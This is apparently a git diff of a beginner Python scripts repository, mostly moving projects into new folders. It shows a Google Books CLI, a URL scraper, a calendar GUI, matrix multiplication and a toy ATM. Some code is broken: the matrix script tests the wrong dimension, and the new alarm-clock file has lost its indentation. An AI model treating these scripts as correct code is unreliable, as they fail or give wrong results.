Google Books""" - url_format = 'https://www.googleapis.com/books/v1/volumes' - query = "+".join(query.split()) - - query_params = { - 'q': query - } - - response = requests.get(url_format, params=query_params) - - click.echo(response.json()['items']) - -@main.command() -@click.argument('id') -def get(id): - """This return a particular book from the given id on Google Books""" - url_format = 'https://www.googleapis.com/books/v1/volumes/{}' - click.echo(id) - - response = requests.get(url_format.format(id)) - - click.echo(response.json()) - - -if __name__ == "__main__": +import click +import requests + +__author__ = "TechnoFrost27" + +@click.group() +def main(): + """ + Simple CLI for querying books on Google Books by TechnoFrost27 + """ + pass + +@main.command() +@click.argument('query') +def search(query): + """This search and return results corresponding to the given query from Google Books""" + url_format = 'https://www.googleapis.com/books/v1/volumes' + query = "+".join(query.split()) + + query_params = { + 'q': query + } + + response = requests.get(url_format, params=query_params) + + click.echo(response.json()['items']) + +@main.command() +@click.argument('id') +def get(id): + """This return a particular book from the given id on Google Books""" + url_format = 'https://www.googleapis.com/books/v1/volumes/{}' + click.echo(id) + + response = requests.get(url_format.format(id)) + + click.echo(response.json()) + + +if __name__ == "__main__": main() \ No newline at end of file diff --git a/Projects/Book Finder/readme.md b/Projects/API projects/Book Finder/readme.md similarity index 96% rename from Projects/Book Finder/readme.md rename to Projects/API projects/Book Finder/readme.md index 9469b6aff..eca47c34f 100644 --- a/Projects/Book Finder/readme.md +++ b/Projects/API projects/Book Finder/readme.md @@ -1,28 +1,28 @@ -![python](https://img.shields.io/badge/language-Python-orange?style=for-the-badge) -[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg?style=plasitc)](https://github.com/psf/black) -![License](https://img.shields.io/github/license/GDSC-RCCIIT/General-Purpose-Scripts?color=blue&style=plasitc) - -## How to run -1. Clone the repository - ```bash - git clone git@github.com:GDSC-RCCIIT/General-Purpose-Scripts.git - ``` -2. Install the script requirements - ```bash - pip install -r requirements.txt - ``` -3. Navigate to `Book Finder` directory - ```bash - cd General-Purpose-Scripts/scripts/Book Finder - ``` -4. Give arguments based on what you need - ```bash - python "Book Checker CLI.py" --help - ``` - - - -
- - +![python](https://img.shields.io/badge/language-Python-orange?style=for-the-badge) +[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg?style=plasitc)](https://github.com/psf/black) +![License](https://img.shields.io/github/license/GDSC-RCCIIT/General-Purpose-Scripts?color=blue&style=plasitc) + +## How to run +1. Clone the repository + ```bash + git clone git@github.com:GDSC-RCCIIT/General-Purpose-Scripts.git + ``` +2. Install the script requirements + ```bash + pip install -r requirements.txt + ``` +3. Navigate to `Book Finder` directory + ```bash + cd General-Purpose-Scripts/scripts/Book Finder + ``` +4. Give arguments based on what you need + ```bash + python "Book Checker CLI.py" --help + ``` + + + +
+ + *Tip run python "Book Checker CLI.py" --search to find info on it* \ No newline at end of file diff --git a/Projects/Book Finder/requirements.txt b/Projects/API projects/Book Finder/requirements.txt similarity index 100% rename from Projects/Book Finder/requirements.txt rename to Projects/API projects/Book Finder/requirements.txt diff --git a/Projects/Email_Sender/Email_Sender.py b/Projects/API projects/Email_Sender/Email_Sender.py similarity index 100% rename from Projects/Email_Sender/Email_Sender.py rename to Projects/API projects/Email_Sender/Email_Sender.py diff --git a/Projects/Google_Selenium_Searcher/Google_Search.py b/Projects/API projects/Google_Selenium_Searcher/Google_Search.py similarity index 100% rename from Projects/Google_Selenium_Searcher/Google_Search.py rename to Projects/API projects/Google_Selenium_Searcher/Google_Search.py diff --git a/Projects/Insta_Reel_Downloader/Insta_reel_Downloader.py b/Projects/API projects/Insta_Reel_Downloader/Insta_reel_Downloader.py similarity index 100% rename from Projects/Insta_Reel_Downloader/Insta_reel_Downloader.py rename to Projects/API projects/Insta_Reel_Downloader/Insta_reel_Downloader.py diff --git a/Projects/Joke_teller/joketeller.py b/Projects/API projects/Joke_teller/joketeller.py similarity index 100% rename from Projects/Joke_teller/joketeller.py rename to Projects/API projects/Joke_teller/joketeller.py diff --git a/Projects/QR_Code Maker/My_GitHub_Acc.png b/Projects/API projects/QR_Code Maker/My_GitHub_Acc.png similarity index 100% rename from Projects/QR_Code Maker/My_GitHub_Acc.png rename to Projects/API projects/QR_Code Maker/My_GitHub_Acc.png diff --git a/Projects/QR_Code Maker/QR Code Maker.ipynb b/Projects/API projects/QR_Code Maker/QR Code Maker.ipynb similarity index 100% rename from Projects/QR_Code Maker/QR Code Maker.ipynb rename to Projects/API projects/QR_Code Maker/QR Code Maker.ipynb diff --git a/Projects/Speedtest/Speedtest.py b/Projects/API projects/Speedtest/Speedtest.py similarity index 100% rename from Projects/Speedtest/Speedtest.py rename to Projects/API projects/Speedtest/Speedtest.py diff --git a/Projects/TelegramEchoBot/.env.sample b/Projects/API projects/TelegramEchoBot/.env.sample similarity index 100% rename from Projects/TelegramEchoBot/.env.sample rename to Projects/API projects/TelegramEchoBot/.env.sample diff --git a/Projects/TelegramEchoBot/README.md b/Projects/API projects/TelegramEchoBot/README.md similarity index 100% rename from Projects/TelegramEchoBot/README.md rename to Projects/API projects/TelegramEchoBot/README.md diff --git a/Projects/TelegramEchoBot/bot.py b/Projects/API projects/TelegramEchoBot/bot.py similarity index 100% rename from Projects/TelegramEchoBot/bot.py rename to Projects/API projects/TelegramEchoBot/bot.py diff --git a/Projects/TelegramEchoBot/requirements.txt b/Projects/API projects/TelegramEchoBot/requirements.txt similarity index 100% rename from Projects/TelegramEchoBot/requirements.txt rename to Projects/API projects/TelegramEchoBot/requirements.txt diff --git a/Projects/Website_Url_Detector/README.md b/Projects/API projects/Website_Url_Detector/README.md similarity index 97% rename from Projects/Website_Url_Detector/README.md rename to Projects/API projects/Website_Url_Detector/README.md index 27c75da66..159f8611a 100644 --- a/Projects/Website_Url_Detector/README.md +++ b/Projects/API projects/Website_Url_Detector/README.md @@ -1,27 +1,27 @@ -# Website URL Detector - -## Description -A python script that detects URLs on a given website. - -## Usage - -```py ->>> python detect_urls.py --website [website_url] -``` - -### Example - -```py ->>> python detect_urls.py --website https://en.wikipedia.org/wiki/Guido_van_Rossum -https://upload.wikimedia.org/wikipedia/commons/thumb/e/e2/Guido-portrait-2014-drc.jpg/1200px-Guido-portrait-2014-drc.jpg -https://creativecommons.org/licenses/by-sa/3.0/ -https://en.wikipedia.org/wiki/Guido_van_Rossum -https://gvanrossum.github.io/ -http://mail.python.org/pipermail/python-dev/2007-January/070849.html -https://web.archive.org/web/20090908131440/http://mail.python.org/pipermail/python-dev/2007-January/070849.html -http://www.computerhistory.org/atchm/2018-chm-fellow-guido-van-rossum-python-creator-benevolent-dictator-for-life/ -https://web.archive.org/web/20180724114116/http://www.computerhistory.org/atchm/2018-chm-fellow-guido-van-rossum-python-creator-benevolent-dictator-for-life/ -https://web.archive.org/web/20081031103755/http://wiki.codecall.net/Guido_van_Rossum -http://wiki.codecall.net/Guido_van_Rossum -... +# Website URL Detector + +## Description +A python script that detects URLs on a given website. + +## Usage + +```py +>>> python detect_urls.py --website [website_url] +``` + +### Example + +```py +>>> python detect_urls.py --website https://en.wikipedia.org/wiki/Guido_van_Rossum +https://upload.wikimedia.org/wikipedia/commons/thumb/e/e2/Guido-portrait-2014-drc.jpg/1200px-Guido-portrait-2014-drc.jpg +https://creativecommons.org/licenses/by-sa/3.0/ +https://en.wikipedia.org/wiki/Guido_van_Rossum +https://gvanrossum.github.io/ +http://mail.python.org/pipermail/python-dev/2007-January/070849.html +https://web.archive.org/web/20090908131440/http://mail.python.org/pipermail/python-dev/2007-January/070849.html +http://www.computerhistory.org/atchm/2018-chm-fellow-guido-van-rossum-python-creator-benevolent-dictator-for-life/ +https://web.archive.org/web/20180724114116/http://www.computerhistory.org/atchm/2018-chm-fellow-guido-van-rossum-python-creator-benevolent-dictator-for-life/ +https://web.archive.org/web/20081031103755/http://wiki.codecall.net/Guido_van_Rossum +http://wiki.codecall.net/Guido_van_Rossum +... ``` \ No newline at end of file diff --git a/Projects/Website_Url_Detector/detect_urls.py b/Projects/API projects/Website_Url_Detector/detect_urls.py similarity index 98% rename from Projects/Website_Url_Detector/detect_urls.py rename to Projects/API projects/Website_Url_Detector/detect_urls.py index d0bd73b63..e909df9ea 100644 --- a/Projects/Website_Url_Detector/detect_urls.py +++ b/Projects/API projects/Website_Url_Detector/detect_urls.py @@ -1,34 +1,34 @@ -import argparse -import re -import requests - - -def run(url: str) -> None: - """ - Detect all the URLs on a given website. - - :param url: the url of the website to process - :return: - """ - # Load the website's HTML. - website = requests.get(url) - html = website.text - # Detect the URLs. - URL_REGEX = r"http[s]?://(?:[a-zA-Z#]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+" - detected_urls = re.findall(URL_REGEX, html) - # Filter invalid URLs. - suffixes = "aero|asia|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|cz|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mn|mn|mo|mp|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|nom|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ra|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw".split("|") - detected_urls = [x for x in detected_urls if any("."+suffix in x for suffix in suffixes)] - print("\n".join(detected_urls)) - - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument( - "--website", - required=True, - help="URL of a website to detect other URLs on" - ) - args = parser.parse_args() - # Detect the URLs. +import argparse +import re +import requests + + +def run(url: str) -> None: + """ + Detect all the URLs on a given website. + + :param url: the url of the website to process + :return: + """ + # Load the website's HTML. + website = requests.get(url) + html = website.text + # Detect the URLs. + URL_REGEX = r"http[s]?://(?:[a-zA-Z#]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+" + detected_urls = re.findall(URL_REGEX, html) + # Filter invalid URLs. + suffixes = "aero|asia|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|cz|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mn|mn|mo|mp|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|nom|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ra|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw".split("|") + detected_urls = [x for x in detected_urls if any("."+suffix in x for suffix in suffixes)] + print("\n".join(detected_urls)) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--website", + required=True, + help="URL of a website to detect other URLs on" + ) + args = parser.parse_args() + # Detect the URLs. run(args.website) \ No newline at end of file diff --git a/Projects/Website_Url_Detector/requirements.txt b/Projects/API projects/Website_Url_Detector/requirements.txt similarity index 93% rename from Projects/Website_Url_Detector/requirements.txt rename to Projects/API projects/Website_Url_Detector/requirements.txt index a25eae4d2..2a38e56a7 100644 --- a/Projects/Website_Url_Detector/requirements.txt +++ b/Projects/API projects/Website_Url_Detector/requirements.txt @@ -1,3 +1,3 @@ -argparse -re +argparse +re requests==2.22.0 \ No newline at end of file diff --git a/Projects/ATM_Program/ATM_Program.py b/Projects/ATM_Program/ATM_Program.py new file mode 100644 index 000000000..e49d0f998 --- /dev/null +++ b/Projects/ATM_Program/ATM_Program.py @@ -0,0 +1,49 @@ +# PYTHON ATM PROGRAM BY PYTHONDEX +# Visit https://pythondex.com for more information + +user = { + 'pin': 1234, + 'balance':1000 +} + +def widthdraw_cash(): + while True: + amount = int(input("Enter the amount of money you want to widthdraw: ")) + if amount > user['balance']: + print("You don't have sufficient balance to make this widthdrawal") + else: + user['balance'] = user['balance'] - amount + print(f"{amount} Dollars successfully widthdrawn your remaining balance is {user['balance']} Dollars") + print('') + return False + +def balance_enquiry(): + print(f"Total balance {user['balance']} Dollars") + print('') + + +is_quit = False + +print('') +print("Welcome to the Pythondex ATM") + +pin = int(input('Please enter your four digit pin: ')) + +if pin == user['pin']: + while is_quit == False: + print("what do you want to do") + print(" Enter 1 to Widthdraw Cash \n Enter 2 for Balance Enquiry \n Enter 3 to Quit") + + query = int(input("Enter the number corresponding to the activity you want to do: ")) + + if query == 1: + widthdraw_cash() + elif query == 2: + balance_enquiry() + elif query == 3: + is_quit = True + + else: + print("Please enter a correct value shown") +else: + print("Entered wrong pin") diff --git a/Projects/Advance Alarm Clock/Advance Alarm Clock b/Projects/Advance Alarm Clock/Advance Alarm Clock new file mode 100644 index 000000000..5c3220dc1 --- /dev/null +++ b/Projects/Advance Alarm Clock/Advance Alarm Clock @@ -0,0 +1,117 @@ +import datetime + +import os + +import time + +import random + +import webbrowser + +# If video URL file does not exist, create one + +if not os.path.isfile("youtube_alarm_videos.txt"): + +print('Creating "youtube_alarm_videos.txt"...') + +with open("youtube_alarm_videos.txt", "w") as alarm_file: + +alarm_file.write("https://www.youtube.com/watch?v=anM6uIZvx74") + +def check_alarm_input(alarm_time): + +"""Checks to see if the user has entered in a valid alarm time""" + +if len(alarm_time) == 1: # [Hour] Format + +if alarm_time[0] < 24 and alarm_time[0] >= 0: + +return True + +if len(alarm_time) == 2: # [Hour:Minute] Format + +if alarm_time[0] < 24 and alarm_time[0] >= 0 and \ + +alarm_time[1] < 60 and alarm_time[1] >= 0: + +return True + +elif len(alarm_time) == 3: # [Hour:Minute:Second] Format + +if alarm_time[0] < 24 and alarm_time[0] >= 0 and \ + +alarm_time[1] < 60 and alarm_time[1] >= 0 and \ + +alarm_time[2] < 60 and alarm_time[2] >= 0: + +return True + +return False + +# Get user input for the alarm time + +print("Set a time for the alarm (Ex. 06:30 or 18:30:00)") + +while True: + +alarm_input = input(">> ") + +try: + +alarm_time = [int(n) for n in alarm_input.split(":")] + +if check_alarm_input(alarm_time): + +break + +else: + +raise ValueError + +except ValueError: + +print("ERROR: Enter time in HH:MM or HH:MM:SS format") + +# Convert the alarm time from [H:M] or [H:M:S] to seconds + +seconds_hms = [3600, 60, 1] # Number of seconds in an Hour, Minute, and Second + +alarm_seconds = sum([a*b for a,b in zip(seconds_hms[:len(alarm_time)], alarm_time)]) + +# Get the current time of day in seconds + +now = datetime.datetime.now() + +current_time_seconds = sum([a*b for a,b in zip(seconds_hms, [now.hour, now.minute, now.second])]) + +# Calculate the number of seconds until alarm goes off + +time_diff_seconds = alarm_seconds - current_time_seconds + +# If time difference is negative, set alarm for next day + +if time_diff_seconds < 0: + +time_diff_seconds += 86400 # number of seconds in a day + +# Display the amount of time until the alarm goes off + +print("Alarm set to go off in %s" % datetime.timedelta(seconds=time_diff_seconds)) + +# Sleep until the alarm goes off + +time.sleep(time_diff_seconds) + +# Time for the alarm to go off + +print("Wake Up!") + +# Load list of possible video URLs + +with open("youtube_alarm_videos.txt", "r") as alarm_file: + +videos = alarm_file.readlines() + +# Open a random video from the list + +webbrowser.open(random.choice(videos)) diff --git a/Projects/Algorithms/coin_change_combinations.py b/Projects/Algo Projects/Algorithms/coin_change_combinations.py similarity index 100% rename from Projects/Algorithms/coin_change_combinations.py rename to Projects/Algo Projects/Algorithms/coin_change_combinations.py diff --git a/Projects/Algorithms/segment_tree.py b/Projects/Algo Projects/Algorithms/segment_tree.py similarity index 100% rename from Projects/Algorithms/segment_tree.py rename to Projects/Algo Projects/Algorithms/segment_tree.py diff --git a/Projects/AreaFinder/AreaFinder4,2dShapes.py b/Projects/Algo Projects/AreaFinder/AreaFinder4,2dShapes.py similarity index 100% rename from Projects/AreaFinder/AreaFinder4,2dShapes.py rename to Projects/Algo Projects/AreaFinder/AreaFinder4,2dShapes.py diff --git a/Projects/Ascii_art/Readme.md b/Projects/Algo Projects/Ascii_art/Readme.md similarity index 100% rename from Projects/Ascii_art/Readme.md rename to Projects/Algo Projects/Ascii_art/Readme.md diff --git a/Projects/Ascii_art/ascii_art.py b/Projects/Algo Projects/Ascii_art/ascii_art.py similarity index 100% rename from Projects/Ascii_art/ascii_art.py rename to Projects/Algo Projects/Ascii_art/ascii_art.py diff --git a/Projects/Ascii_art/requirements.txt b/Projects/Algo Projects/Ascii_art/requirements.txt similarity index 100% rename from Projects/Ascii_art/requirements.txt rename to Projects/Algo Projects/Ascii_art/requirements.txt diff --git a/Projects/BMI_Calculator.py/Readme.md b/Projects/Algo Projects/BMI_Calculator.py/Readme.md similarity index 100% rename from Projects/BMI_Calculator.py/Readme.md rename to Projects/Algo Projects/BMI_Calculator.py/Readme.md diff --git a/Projects/BMI_Calculator.py/main.py b/Projects/Algo Projects/BMI_Calculator.py/main.py similarity index 100% rename from Projects/BMI_Calculator.py/main.py rename to Projects/Algo Projects/BMI_Calculator.py/main.py diff --git a/Projects/DigitalClock/main.py b/Projects/Algo Projects/DigitalClock/main.py similarity index 100% rename from Projects/DigitalClock/main.py rename to Projects/Algo Projects/DigitalClock/main.py diff --git a/Projects/Email_Validation/Email_Validation.py b/Projects/Algo Projects/Email_Validation/Email_Validation.py similarity index 100% rename from Projects/Email_Validation/Email_Validation.py rename to Projects/Algo Projects/Email_Validation/Email_Validation.py diff --git a/Projects/GUI_calendar/GUI_calendar_generator.py b/Projects/Algo Projects/GUI_calendar/GUI_calendar_generator.py similarity index 95% rename from Projects/GUI_calendar/GUI_calendar_generator.py rename to Projects/Algo Projects/GUI_calendar/GUI_calendar_generator.py index 1c2009f2a..8f6f41405 100644 --- a/Projects/GUI_calendar/GUI_calendar_generator.py +++ b/Projects/Algo Projects/GUI_calendar/GUI_calendar_generator.py @@ -1,60 +1,60 @@ -from tkinter import * - -from tkinter import ttk - -import calendar - -def showCal(): - - new_window = Tk() - - new_window.config(background = 'white') - - new_window.title("Calendar") - - new_window.geometry('550x600') - - fetch_year = int(year_field.get()) - - cal_content = calendar.calendar(fetch_year) - - cal_year = Label(new_window, text = cal_content, font = "Consolas 10 bold") - - cal_year.grid(row = 5, column = 1, padx = 20) - - new_window.mainloop() - - -if __name__=='__main__': - - root = Tk() - - root.config(background = 'white') - - root.title("HOME") - - root.geometry('500x400') - - cal = Label(root, text = "Welcome to the calendar Application", bg = "Green", font = ("times", 20, 'bold')) - - year = Label(root, text = 'Please enter a year',bg = 'Green') - - year_field = Entry(root) - - Show = Button(root, text = "Show Calendar", fg = "Black", bg = "Light Green", command = showCal) - - Exit = Button(root, text = "Exit", fg = "Black", bg = "Light Green", command = exit) - - cal.grid(row = 1, column = 1) - - year.grid(row = 2, column = 1) - - year_field.grid(row = 3, column = 1) - - Show.grid(row = 4, column = 1) - - Exit.grid(row = 6, column = 1) - - root.mainloop() - - +from tkinter import * + +from tkinter import ttk + +import calendar + +def showCal(): + + new_window = Tk() + + new_window.config(background = 'white') + + new_window.title("Calendar") + + new_window.geometry('550x600') + + fetch_year = int(year_field.get()) + + cal_content = calendar.calendar(fetch_year) + + cal_year = Label(new_window, text = cal_content, font = "Consolas 10 bold") + + cal_year.grid(row = 5, column = 1, padx = 20) + + new_window.mainloop() + + +if __name__=='__main__': + + root = Tk() + + root.config(background = 'white') + + root.title("HOME") + + root.geometry('500x400') + + cal = Label(root, text = "Welcome to the calendar Application", bg = "Green", font = ("times", 20, 'bold')) + + year = Label(root, text = 'Please enter a year',bg = 'Green') + + year_field = Entry(root) + + Show = Button(root, text = "Show Calendar", fg = "Black", bg = "Light Green", command = showCal) + + Exit = Button(root, text = "Exit", fg = "Black", bg = "Light Green", command = exit) + + cal.grid(row = 1, column = 1) + + year.grid(row = 2, column = 1) + + year_field.grid(row = 3, column = 1) + + Show.grid(row = 4, column = 1) + + Exit.grid(row = 6, column = 1) + + root.mainloop() + + diff --git a/Projects/Matrix Multiplication/matrix_multiply.py b/Projects/Algo Projects/Matrix Multiplication/matrix_multiply.py similarity index 96% rename from Projects/Matrix Multiplication/matrix_multiply.py rename to Projects/Algo Projects/Matrix Multiplication/matrix_multiply.py index f8f64f7cb..a251e65fe 100644 --- a/Projects/Matrix Multiplication/matrix_multiply.py +++ b/Projects/Algo Projects/Matrix Multiplication/matrix_multiply.py @@ -1,60 +1,60 @@ -""" -Multiplication of 2 - matrices - -Sample I/O: - -Example 1: -Enter the dimensions of Matrix 1(separated by a space): 3 3 -Enter the elements of Matrix 1 -1 1 1 -2 2 2 -3 3 3 -Enter the dimensions of Matrix 2(separated by a space): 3 4 -Enter the elements of Matrix 2 -1 1 1 1 -2 2 2 2 -3 3 3 3 -Multiplication of Matrix 1 and Matrix 2 is: -6 6 6 6 -12 12 12 12 -18 18 18 18 - -Example 2: -Enter the dimensions of Matrix 1(separated by a space): 3 2 -Enter the elements of Matrix 1 -1 2 -3 4 -5 6 -Enter the dimensions of Matrix 2(separated by a space): 1 5 -Enter the elements of Matrix 2 -9 8 7 4 6 -Matrices cannot be multiplied -""" - -r1,c1 = map(int,input("Enter the dimensions of Matrix 1(separated by a space): ").split()) -print("Enter the elements of Matrix 1") -m1 = [list(map(int,input().split())) for i in range(r1)] -r2,c2 = map(int,input("Enter the dimensions of Matrix 2(separated by a space): ").split()) -print("Enter the elements of Matrix 2") -m2 = [list(map(int,input().split())) for i in range(r2)] - -# Creating new matrix for final matrix -m3 = [([0]*c2) for i in range(r1)] - -# Checking whether matrix m1 can be multiplied with matrix m2 -if c1 != r1: - print("Matrices cannot be multiplied") -else: - # Multiplication process - # iterating by row of Matrix m1 - for i in range(r1): - # iterating by column of Matrix m2 - for j in range(c2): - # iterating by row of Matrix m2 - for k in range(r2): - m3[i][j] += m1[i][k] * m2[k][j] - - # printing the resultant matrix - print("Multiplication of Matrix 1 and Matrix 2 is: ") - for row in m3: - print(*row) +""" +Multiplication of 2 - matrices + +Sample I/O: + +Example 1: +Enter the dimensions of Matrix 1(separated by a space): 3 3 +Enter the elements of Matrix 1 +1 1 1 +2 2 2 +3 3 3 +Enter the dimensions of Matrix 2(separated by a space): 3 4 +Enter the elements of Matrix 2 +1 1 1 1 +2 2 2 2 +3 3 3 3 +Multiplication of Matrix 1 and Matrix 2 is: +6 6 6 6 +12 12 12 12 +18 18 18 18 + +Example 2: +Enter the dimensions of Matrix 1(separated by a space): 3 2 +Enter the elements of Matrix 1 +1 2 +3 4 +5 6 +Enter the dimensions of Matrix 2(separated by a space): 1 5 +Enter the elements of Matrix 2 +9 8 7 4 6 +Matrices cannot be multiplied +""" + +r1,c1 = map(int,input("Enter the dimensions of Matrix 1(separated by a space): ").split()) +print("Enter the elements of Matrix 1") +m1 = [list(map(int,input().split())) for i in range(r1)] +r2,c2 = map(int,input("Enter the dimensions of Matrix 2(separated by a space): ").split()) +print("Enter the elements of Matrix 2") +m2 = [list(map(int,input().split())) for i in range(r2)] + +# Creating new matrix for final matrix +m3 = [([0]*c2) for i in range(r1)] + +# Checking whether matrix m1 can be multiplied with matrix m2 +if c1 != r1: + print("Matrices cannot be multiplied") +else: + # Multiplication process + # iterating by row of Matrix m1 + for i in range(r1): + # iterating by column of Matrix m2 + for j in range(c2): + # iterating by row of Matrix m2 + for k in range(r2): + m3[i][j] += m1[i][k] * m2[k][j] + + # printing the resultant matrix + print("Multiplication of Matrix 1 and Matrix 2 is: ") + for row in m3: + print(*row) diff --git a/Projects/Palindromify List/PalindromifyList.py b/Projects/Algo Projects/Palindromify List/PalindromifyList.py similarity index 100% rename from Projects/Palindromify List/PalindromifyList.py rename to Projects/Algo Projects/Palindromify List/PalindromifyList.py diff --git a/Projects/Pascal Triangle/Pascal_triangle.py b/Projects/Algo Projects/Pascal Triangle/Pascal_triangle.py similarity index 100% rename from Projects/Pascal Triangle/Pascal_triangle.py rename to Projects/Algo Projects/Pascal Triangle/Pascal_triangle.py diff --git a/Projects/Pascal_triangle.py b/Projects/Algo Projects/Pascal_triangle.py similarity index 100% rename from Projects/Pascal_triangle.py rename to Projects/Algo Projects/Pascal_triangle.py diff --git a/Projects/Password generator/password_generator.py b/Projects/Algo Projects/Password generator/password_generator.py similarity index 100% rename from Projects/Password generator/password_generator.py rename to Projects/Algo Projects/Password generator/password_generator.py diff --git a/Projects/Password_Validation/Password_Validation.py b/Projects/Algo Projects/Password_Validation/Password_Validation.py similarity index 100% rename from Projects/Password_Validation/Password_Validation.py rename to Projects/Algo Projects/Password_Validation/Password_Validation.py diff --git a/Projects/Simple-calculator/.gitattributes b/Projects/Algo Projects/Simple-calculator/.gitattributes similarity index 100% rename from Projects/Simple-calculator/.gitattributes rename to Projects/Algo Projects/Simple-calculator/.gitattributes diff --git a/Projects/Simple-calculator/.gitignore b/Projects/Algo Projects/Simple-calculator/.gitignore similarity index 100% rename from Projects/Simple-calculator/.gitignore rename to Projects/Algo Projects/Simple-calculator/.gitignore diff --git a/Projects/Simple-calculator/README.md b/Projects/Algo Projects/Simple-calculator/README.md similarity index 100% rename from Projects/Simple-calculator/README.md rename to Projects/Algo Projects/Simple-calculator/README.md diff --git a/Projects/Simple-calculator/main.py b/Projects/Algo Projects/Simple-calculator/main.py similarity index 100% rename from Projects/Simple-calculator/main.py rename to Projects/Algo Projects/Simple-calculator/main.py diff --git a/Projects/Algo Projects/Simple-calculator/requirements.txt b/Projects/Algo Projects/Simple-calculator/requirements.txt new file mode 100644 index 000000000..e69de29bb diff --git a/Projects/Text_Calculator/Text_Calculator.py b/Projects/Algo Projects/Text_Calculator/Text_Calculator.py similarity index 100% rename from Projects/Text_Calculator/Text_Calculator.py rename to Projects/Algo Projects/Text_Calculator/Text_Calculator.py diff --git a/Projects/Tip_calcuator/Tip_calculator.py b/Projects/Algo Projects/Tip_calcuator/Tip_calculator.py similarity index 100% rename from Projects/Tip_calcuator/Tip_calculator.py rename to Projects/Algo Projects/Tip_calcuator/Tip_calculator.py diff --git a/Projects/Algo Projects/andgate.py b/Projects/Algo Projects/andgate.py new file mode 100644 index 000000000..be5337612 --- /dev/null +++ b/Projects/Algo Projects/andgate.py @@ -0,0 +1,23 @@ +''' An AND Gate is a logic gate in boolean algebra which results to false(0) if any of the input is + 0, and True(1) if both the inputs are 1. + Following is the truth table of an AND Gate: + | Input 1 | Input 2 | Output | + | 0 | 0 | 0 | + | 0 | 1 | 0 | + | 1 | 0 | 0 | + | 1 | 1 | 1 | +''' +'''Following is the code implementation of the AND Gate''' + +def AND_Gate(input_1,input_2): + return input_1*input_2 +if __name__== '__main__': + print('Truth Table of AND Gate:') + print('| Input 1 |',' Input 2 |',' Output |') + print('| 0 |',' 0 | ',AND_Gate(0,0),' |') + print('| 0 |',' 1 | ',AND_Gate(0,1),' |') + print('| 1 |',' 0 | ',AND_Gate(1,0),' |') + print('| 1 |',' 1 | ',AND_Gate(1,1),' |') + +'''Code provided by Akshaj Vishwanathan''' + diff --git a/Projects/factorial.py b/Projects/Algo Projects/factorial.py similarity index 100% rename from Projects/factorial.py rename to Projects/Algo Projects/factorial.py diff --git a/Projects/fibonacci.py b/Projects/Algo Projects/fibonacci.py similarity index 95% rename from Projects/fibonacci.py rename to Projects/Algo Projects/fibonacci.py index 156b659ed..07364d36f 100644 --- a/Projects/fibonacci.py +++ b/Projects/Algo Projects/fibonacci.py @@ -1,13 +1,13 @@ -#Python program to generate Fibonacci series until 'n' value -n = int(input("Enter the value of 'n': ")) -a = 0 -b = 1 -sum = 0 -count = 1 -print("Fibonacci Series: ", end = " ") -while(count <= n): - print(sum, end = " ") - count += 1 - a = b - b = sum - sum = a + b +#Python program to generate Fibonacci series until 'n' value +n = int(input("Enter the value of 'n': ")) +a = 0 +b = 1 +sum = 0 +count = 1 +print("Fibonacci Series: ", end = " ") +while(count <= n): + print(sum, end = " ") + count += 1 + a = b + b = sum + sum = a + b diff --git a/Projects/hello_world.py b/Projects/Algo Projects/hello_world.py similarity index 100% rename from Projects/hello_world.py rename to Projects/Algo Projects/hello_world.py diff --git a/Projects/linearEquation.py b/Projects/Algo 